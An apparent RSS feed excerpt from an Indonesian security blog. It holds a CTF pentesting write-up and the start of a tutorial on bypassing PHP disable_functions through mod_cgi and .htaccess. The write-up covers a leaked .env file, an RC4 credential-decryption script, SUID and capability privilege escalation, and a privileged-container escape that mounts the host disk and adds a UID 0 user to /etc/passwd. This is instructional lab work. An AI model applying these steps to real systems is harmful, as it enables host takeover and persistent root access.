					<comments>https://blog.bhineka-tech.org/2024/12/31/bhitech-pentesting-container-escape/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Tue, 31 Dec 2024 14:07:23 +0000</pubDate>
				<category><![CDATA[Capture The Flag]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[operating system]]></category>
		<category><![CDATA[web exploitation]]></category>
		<category><![CDATA[web pentesting]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=463</guid>

					<description><![CDATA[<p>Halo semuanyaa jumpa lagi denganku, jadi pada kesempatan kali ini aku akan membahas WriteUp dari challenge Bhineka Tech mengenai pentesting dan kebetulan tulisan ini dibuat di akhir tahun jadi sekalian sebagai penutup dan juga selamat nataru bagi yang merayakan semoga di tahun 2025 nanti kita menjadi pribadi yang lebih baik lagi dari sebelumnya. Jadi tanpa [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/31/bhitech-pentesting-container-escape/">Bhitech Pentesting + Container Escape</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Halo semuanyaa jumpa lagi denganku, jadi pada kesempatan kali ini aku akan membahas WriteUp dari challenge Bhineka Tech mengenai pentesting dan kebetulan tulisan ini dibuat di akhir tahun jadi sekalian sebagai penutup dan juga selamat nataru bagi yang merayakan semoga di tahun 2025 nanti kita menjadi pribadi yang lebih baik lagi dari sebelumnya.</p>



<p>Jadi tanpa berlama lama langsung saja kita baca deskripsi dari challenge </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-e375aeea2e5053ee436f601353fccc0c"><code>Pentesting Challenge

host: &#91;redacted]
level: bisa dibilang easy
format flag: bhitech{}

Description:
Kamu diberikan suatu alamat IP address dan kamu ditugaskan untuk melakukan penetration testing dan hacking pada server, yang dimana hasil akhirnya mendapatkan suatu flag yang disimpan pada directory /root.
jadi pada challenge ini kita dipaksa untuk memahami hacking anatomy atau phase dari hacking mulai dari recon(mengumpulkan informasi), privilege escalation untuk mendapatkan root akses hingga covering track yang tentunya kamu bakal banyak belajar dari challenge ini

note:
untuk teman teman yang mengerjakan challenge ini dimohon tidak merusak apapun pada server karena memang sengaja dibuat vulnerable, meskipun berjalan pada safe environtment tetap saja merusak server yang dibuat challenge tidak ada bedanya kalian dengan para script kiddies diluar sana</code></pre>



<p>Dari deskripsi yang kita baca, diberikan suatu IP address dan format flag yang dimana kita diharuskan untuk melakukan penetration testing pada server hingga mendapatkan akses root atau melakukan privilege escalation karena flag disimpan pada directory /root</p>



<p>Mulai dengan reconnaissance yakni teknik yang digunakan attacker untuk mengumpulkan informasi tentang target yang akan di serang. Langsung saja menggunakan nmap untuk port discovery</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="489" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172601-1024x489.png" alt="" class="wp-image-465" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172601-1024x489.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172601-300x143.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172601-768x367.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172601.png 1345w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini menarik karena ada beberapa port yang terbuka atau service yang running diantaranya ada <strong>HTTP</strong>, <strong>SSH </strong>dan <strong>DBMS</strong> yang menggunakan <strong>postgresql </strong>dan untuk identifikasi awal kita akan melakukan scanning pada service <strong>HTTP</strong> </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="472" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172832-1024x472.png" alt="" class="wp-image-466" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172832-1024x472.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172832-300x138.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172832-768x354.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172832-1536x708.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-172832.png 1905w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Jika kita buka pada browser, tampilan awal pada website tidak asing yang merupakan default page dari framework codeigniter 4 yang dimodifikasi sedikit dan disini kita akan melakukan directory enumeration yang bertujuan untuk menemukan hidden directory ataupun file yang ada pada server</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="661" height="581" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-173230.png" alt="" class="wp-image-467" style="width:836px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-173230.png 661w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-173230-300x264.png 300w" sizes="auto, (max-width: 661px) 100vw, 661px" /></figure>



<p>Menggunakan dirsearch dan menemukan file yang menarik yaitu .env, .env sendiri merupakan file yang berisi konfigurasi utama dan sensitive information pada framework codeigniter 4 yang seharusnya tidak boleh diakses tetapi jika developer melakukan misconfiguration hal ini mengakibatkan file .env dapat diakses yang dimana kerentan ini dikenal dengan <em><strong>Information Disclosure</strong></em></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="645" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-173847-1024x645.png" alt="" class="wp-image-468" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-173847-1024x645.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-173847-300x189.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-173847-768x484.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-173847.png 1026w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Kita mendapatkan credential database server dari .env file dan seperti yang kita tahu sebelumnya dari nmap scanning jika port 5432 terbuka atau di expose ke public. karena dbms pada server memakai <strong><em>postgresql</em></strong> jadi disini kita akan memakai psql client untuk connect dan melakukan remote database via CLI(command line interface)</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="549" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/psql-1024x549.png" alt="" class="wp-image-471" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/psql-1024x549.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/psql-300x161.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/psql-768x412.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/psql.png 1128w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terlihat kita berhasil login dan masuk pada database <em><strong>db_project</strong></em> dimana terdapat table secret yang menarik perhatian  </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="69" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-174745-1024x69.png" alt="" class="wp-image-472" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-174745-1024x69.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-174745-300x20.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-174745-768x52.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-174745.png 1209w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>kemudian menggunakan SQL query yaitu <em><strong>SELECT * FROM secret</strong></em> untuk menampilkan semua data pada table secret, yang sepertinya berisi suatu encrypted text dan terdapat keterangan pada field type_enc dan description yang intinya untuk mendapatkan plaintext kita harus melakukan decrypting dengan type cipher rc4. </p>



<p>langsung saja buat script python sederhana menggunakan module <em><strong>PyCryptodome </strong></em>yang merupakan package pada python yang menangani operasi cryptography atau bisa juga kita memakai openssl sebagai alternatif </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-d871588a075d003b32b22ef760a132d2"><code>from Crypto.Cipher import ARC4
import base64

username_enc = base64.b64decode(b"iayFvJMqnA==")
password_enc = base64.b64decode(b"iraP/Kkgh69PNS33dCW/LsrchsUZ8w==")
path_enc = base64.b64decode(b"xLaJpZMklpVbbzDNcjm5KOzNlsEf8w0=")

key = bytes.fromhex("737db1fbe47e92be8897a0bc4a1afa39")
cipher = ARC4.new(key)
username_dec = cipher.decrypt(username_enc)
cipher = ARC4.new(key)
password_dec = cipher.decrypt(password_enc)
cipher = ARC4.new(key)
path_dec = cipher.decrypt(path_enc)

# Hasil decrypting
print("username : " + username_dec.decode('utf-8'))
print("password : " + password_dec.decode('utf-8'))
print("path_dec : " + path_dec.decode('utf-8'))</code></pre>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="437" height="122" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181650.png" alt="" class="wp-image-473" style="width:837px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181650.png 437w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181650-300x84.png 300w" sizes="auto, (max-width: 437px) 100vw, 437px" /></figure>



<p>Disini kita berhasil melakukan decrypt dari ciphertext yang kita dapatkan dan jika kita lihat terdapat field table dengan nama <em><strong>path_dec</strong></em> yang bisa kita asumsikan merupakan suatu hidden directory pada web application</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="362" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181910-1024x362.png" alt="" class="wp-image-474" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181910-1024x362.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181910-300x106.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181910-768x272.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181910-1536x543.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-181910.png 1725w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>benar saja jika kita buka dengan menyertakan path <strong>/remember/secret_admin/</strong> maka akan muncul HTTP auth, disini kita bisa masukan username dan password hasil dari decrypt rc4</p>



<p>user: <strong>bhitech </strong>dan pass: <strong>arc4_is_fun_encryption</strong></p>



<p>dan jika berhasil terdapat suatu file dengan nama note.txt </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="674" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182412-1024x674.png" alt="" class="wp-image-475" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182412-1024x674.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182412-300x197.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182412-768x506.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182412.png 1434w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Sepertinya merupakan file sensitive / confidential karena terdapat deskripsi singkat tentang SSH dengan username <strong>dono </strong>pada port <strong>2222</strong>, yang dibawahnya string acak dan jika kita lihat lebih detail merupakan suatu private key SSH karena diawali dengan string <em><strong>&#8212;&#8211;BEGIN OPENSSH PRIVATE KEY&#8212;&#8211;</strong></em></p>



<p>jadi disini langsung saja simpan file pada local machine dan kita akan mencoba untuk login SSH pada server dengan methode keypair</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="837" height="380" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182907.png" alt="" class="wp-image-476" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182907.png 837w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182907-300x136.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-182907-768x349.png 768w" sizes="auto, (max-width: 837px) 100vw, 837px" /></figure>



<p>Berhasil login dan mendapatkan user dono dan kemudian disini kita akan mencoba melakukan privilege escalation atau meningkatkan hak akses, dan banyak yang stuck di tahap ini karena beberapa orang fokus ke kernel exploitation dimana langsung melakukan exploit pada kernel dan gagal. padahal sebenarnya kernel exploitation itu sangat tidak disarankan karena dapat membuat machine mengalami kernel panic jika exploit tidak tepat dan alangkah baiknya digunakan untuk opsi terakhir jika tidak ada misconfig atau vulnerable lain pada OS.</p>



<p>Disini untuk automation enumeration bisa make linepeas dan ditemukan beberapa hal yang menarik yang bisa kita manfaatkan untuk privilege escalation yaitu terdapat 2 misconfiguration pada SUID binary dan capabilities</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="207" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-200738-1024x207.png" alt="" class="wp-image-479" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-200738-1024x207.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-200738-300x61.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-200738-768x155.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-200738.png 1219w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="828" height="370" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/perl.png" alt="" class="wp-image-481" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/perl.png 828w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/perl-300x134.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/perl-768x343.png 768w" sizes="auto, (max-width: 828px) 100vw, 828px" /></figure>



<p>Disini linepeas melakukan highlight pada binary yang mempunyai kesalahan konfigurasi yaitu pertama <em><strong>SUID </strong></em>binary yang terdapat pada binary <em><strong>find</strong></em> dan kedua binary yang mempunyai capabilities <strong><em>cap_setuid</em></strong></p>



<p>Secara sederhana SUID atau set user id merupakan permission yang memungkinkan user lain melakukan eksekusi dengan privilege owner yang memiliki binary tersebut, dalam kasus ini find dimiliki oleh root jadi kita bisa melakukan eksekusi find menggunakan hak akses root lalu kedua capabilities itu merupakan kemampuan yang dimiliki oleh suatu binary dalam kasus kita perl memiliki capabilities <em><strong>cap_setuid=ep</strong></em> artinya binary <em><strong>perl </strong></em>atau process yang menajalankan <em><strong>perl</strong></em> dapat melakukan penggantian uid ke user lain dan dalam linux uid root mempunyai nomor 0 jadi dengan mudah kita bisa melakukan manipulasi UID ke root</p>



<p>jadi disini aku akan mencontohkan bagaimana melakukan privilege escalation dari keduanya</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1017" height="344" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-202846.png" alt="" class="wp-image-482" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-202846.png 1017w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-202846-300x101.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-202846-768x260.png 768w" sizes="auto, (max-width: 1017px) 100vw, 1017px" /></figure>



<p>Yaps sangat mudah sekali untuk melakukan privilege escalation dimana disini memanfaatkan misconfig dari kedua binary jadi langsung saja kita baca flag pada directory /root</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="737" height="333" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-203229.png" alt="" class="wp-image-483" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-203229.png 737w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-203229-300x136.png 300w" sizes="auto, (max-width: 737px) 100vw, 737px" /></figure>



<p>flag: bhitech{p3ntest1ng_itu_s3ru!}</p>



<p class="has-large-font-size"><strong>Container Escape</strong></p>



<p>Sebenarnya disini kita sudah mendapatkan flag dan challenge berakhir tapi ada tambahan sedikit yaitu kemaren salah satu member Bhineka Tech berhasil melakukan <em><strong>Container Escaping</strong></em> dimana attacker bisa keluar dari container dan mendapatkan akses pada main host hal ini sangat berbahaya karena tujuan dibuatkan suatu container untuk melakukan isolated agar host utama tidak terkena compromised </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="587" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-203852-1024x587.png" alt="" class="wp-image-485" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-203852-1024x587.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-203852-300x172.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-203852-768x440.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-203852.png 1133w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Singkatnya seperti itu, yang pada dasarnya ini sudah diluar dari scope challenge tapi sangat menarik jika kita bahas. jadi pada challenge ini aku sendiri yang melakukan build dan konfigurasi dimana pada saat running container dari docker aku menambahkan flag &#8211;privileged untuk keperluan hak akses yang sebenarnya hal ini sangat berbahaya karena kita memberi akses penuh ke container dan menghapus semua batasan security default.</p>



<p>Tekniknya sendiri dengan melakukan mounting filesystem pada host utama ke directory /mnt pada container, karena container dijalankan dengan misconfig &#8211;privileged artinya attacker mendapatkan privilege untuk melihat host drive</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="560" height="209" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-204841.png" alt="" class="wp-image-486" style="width:831px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-204841.png 560w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-204841-300x112.png 300w" sizes="auto, (max-width: 560px) 100vw, 560px" /></figure>



<p>lsblk untuk melihat block device dan partisi pertama ada di vda1 dengan command <strong><em>mount /dev/vda1 /mnt/filesystem</em></strong></p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="568" height="404" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-205124.png" alt="" class="wp-image-487" style="width:839px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-205124.png 568w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-205124-300x213.png 300w" sizes="auto, (max-width: 568px) 100vw, 568px" /></figure>



<p>Terlihat mount berhasil dilakukan dan kita dapat melihat dan modifikasi filesystem pada main host dimana jika kita ingin melakukan escape dan takeover pada main host tinggal kita tambahkan user baru pada file /mnt/filesystem/etc/passwd, karena ini mount point maka akan berpengaruh pada filesystem di main host</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="552" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/shadow-1024x552.png" alt="" class="wp-image-488" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/shadow-1024x552.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/shadow-300x162.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/shadow-768x414.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/shadow.png 1091w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini kita langsung menambahkan user baru pada passwd file dengan username heker dengan UID 0 atau root beserta password yang digenerate menggunakan openssl dengan string <em><strong>heker123</strong></em>, untuk login ke host utama kita perlu tau port ssh yang digunakan dimana pada hasil nmap scan tadi terdapat 2 SSH port yaitu 22 dan 2222 yang bisa kita asumsikan main host menggunakan port 22 untuk SSH login</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="825" height="522" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-205932.png" alt="" class="wp-image-489" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-205932.png 825w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-205932-300x190.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-31-205932-768x486.png 768w" sizes="auto, (max-width: 825px) 100vw, 825px" /></figure>



<p>Viola, kita berhasil melakukan container escape dan mendapatkan akses ke host utama.</p>



<p class="has-large-font-size"><strong>Penutup</strong></p>



<p>challenge ini dibuat dengan tidak memanfaatkan exploit dari CVE/public dimana fokus untuk mendapatkan initial access fokusnya dari misconfiguration jadi untuk yang mengerjakan challenge ini diharapkan untuk lebih memahami attack vector pada saat melakukan pentesting yang dimana misconfiguration itu sangat berbahaya jika dapat dimanfaatkan lebih jauh, dan mungkin itu saja sekian dan selamat tahunn baru semoga bermanfaat <img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p><em>&#8220;Jika itu penting bagi Anda, Anda akan menemukan jalan. Jika tidak, Anda akan menemukan alasan.&#8221;</em> &#8211; <strong>Ryan Blair</strong></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/31/bhitech-pentesting-container-escape/">Bhitech Pentesting + Container Escape</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/12/31/bhitech-pentesting-container-escape/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Bypass disable function using mod_cgi</title>
		<link>https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/</link>
					<comments>https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Mon, 09 Dec 2024 08:32:14 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[technology]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=428</guid>

					<description><![CDATA[<p>Kadangkala pada saat melakukan web hacking dan mendapatkan foothold / initial access pada suatu server kita di restriksi dengan proteksi PHP yang disebut disable function, disable function sendiri bisa dikatakan fitur dan proteksi untuk melakukan disable dan menonaktifkan fungsi fungsi tertentu di php yang dianggap berbahaya seperti system, shell_exec, exec, eval dan lainnya Pada banyak [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/">Bypass disable function using mod_cgi</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Kadangkala pada saat melakukan web hacking dan mendapatkan foothold / initial access pada suatu server kita di restriksi dengan proteksi PHP yang disebut disable function, disable function sendiri bisa dikatakan fitur dan proteksi untuk melakukan disable dan menonaktifkan fungsi fungsi tertentu di php yang dianggap berbahaya seperti <em>system</em>, <em>shell_exec</em>, <em>exec</em>, <em>eval</em> dan lainnya</p>



<p>Pada banyak server, command syscall yang digunakan untuk melakukan eksekusi bash dan shell script di non-aktifkan untuk keperluan keamanan disini bertujuan agar attacker tidak dapat melakukan compromised lebih jauh pada target seperti melakukan <em>privilege escalation</em>, <em>pivoting</em>, <em>persistence </em>maupun <em>post exploitation</em>.</p>



<p>Jadi disini aku akan membahas salah satu teknik yang digunakan untuk melakukan bypass disable function yang memanfaatkan module cgi pada webserver apache dan yang perlu digaris bawahi untuk melakukan bypass menggunakan teknik ini harus ada requirement atau kondisi agar berhasil yaitu mod_cgi perlu diaktifkan dan kedua direktif AllowOverride pada konfigurasi apache harus aktif yang bertujuan agar kita bisa melakukan overwrite konfigurasi menggunakan .htaccess file.</p>



<p>Pertama setup lab pada vps atau di local untuk pengujian dan testing, selanjutnya jelas kita perlu install webserver apache dan lakukan setting disable function, karena case kali ini kita menggunakan php 8.3 jadi untuk php.ini kita perlu setting pada directory <em><strong>/etc/php/8.3/apache2</strong>/<strong>php.ini</strong></em></p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="970" height="477" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140811.png" alt="" class="wp-image-429" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140811.png 970w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140811-300x148.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140811-768x378.png 768w" sizes="auto, (max-width: 970px) 100vw, 970px" /></figure>



<p>kemudian kita perlu install cgi module pada apache lalu aktifkan menggunakan command a2enmod</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1025" height="207" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140934.png" alt="" class="wp-image-430" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140934.png 1025w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140934-300x61.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140934-768x155.png 768w" sizes="auto, (max-width: 1025px) 100vw, 1025px" /></figure>



<p>selanjutnya jangan lupa kita set direktif AllowOverride ke All hal ini bertujuan agar file .htaccess bisa ter-eksekusi</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="910" height="545" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/directibe.png" alt="" class="wp-image-432" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/directibe.png 910w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/directibe-300x180.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/directibe-768x460.png 768w" sizes="auto, (max-width: 910px) 100vw, 910px" /></figure>



<p>Setelah itu restart apache lalu kita perlu melihat dan verifikasi jika module cgi / mod_cgi dan disable function berhasil di konfigurasi, caranya sederhana cukup buat file php dan tambahkan syntax berikut:</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-901ba5ad6a255b2f17f510fc19cd1ada"><code>&lt;?php
echo "disable function: " . ini_get("disable_functions");
echo "&lt;br>&lt;br>";
echo "apache module: &lt;br>";
foreach(apache_get_modules() as $modules){
    echo $modules . "&lt;br>";
}

?></code></pre>



<p>Dan jika kita buka via browser</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="736" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942-1024x736.png" alt="" class="wp-image-433" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942-1024x736.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942-300x216.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942-768x552.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942.png 1345w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini menunjukkan kita berhasil melakukan konfigurasi yang dimana kita tidak akan bisa melakukan eksekusi fungsi syscall karena semua fungsi syscall berbahaya kita lakukan disable dan kita akan manfaatkan mod_cgi ini untuk melakukan bypass disable function. </p>



<p>Sekilas tentang mod_cgi, jadi mod_cgi itu merupakan module cgi pada webserver apache yang memungkinkan webserver untuk melakukan handle dan eksekusi suatu CGI script yang dimana CGI sendiri merupakan protocol yang menyediakan cara untuk melakukan eksekusi script melalui request http contoh sederhananya kita bisa melakukan eksekusi pada file perl(.pl), python(.py) maupun bash(.sh) langsung dari web request atau browser.</p>



<p>Langkah awal kita perlu membuat directory baru dan menambahkan htaccess agar suatu extension dikenali dengan CGI script, simple-nya kita akan membuat bash script agar bisa langsung melakukan eksekusi command. Disini kita hanya perlu membuat htaccess dengan 2 direktif </p>



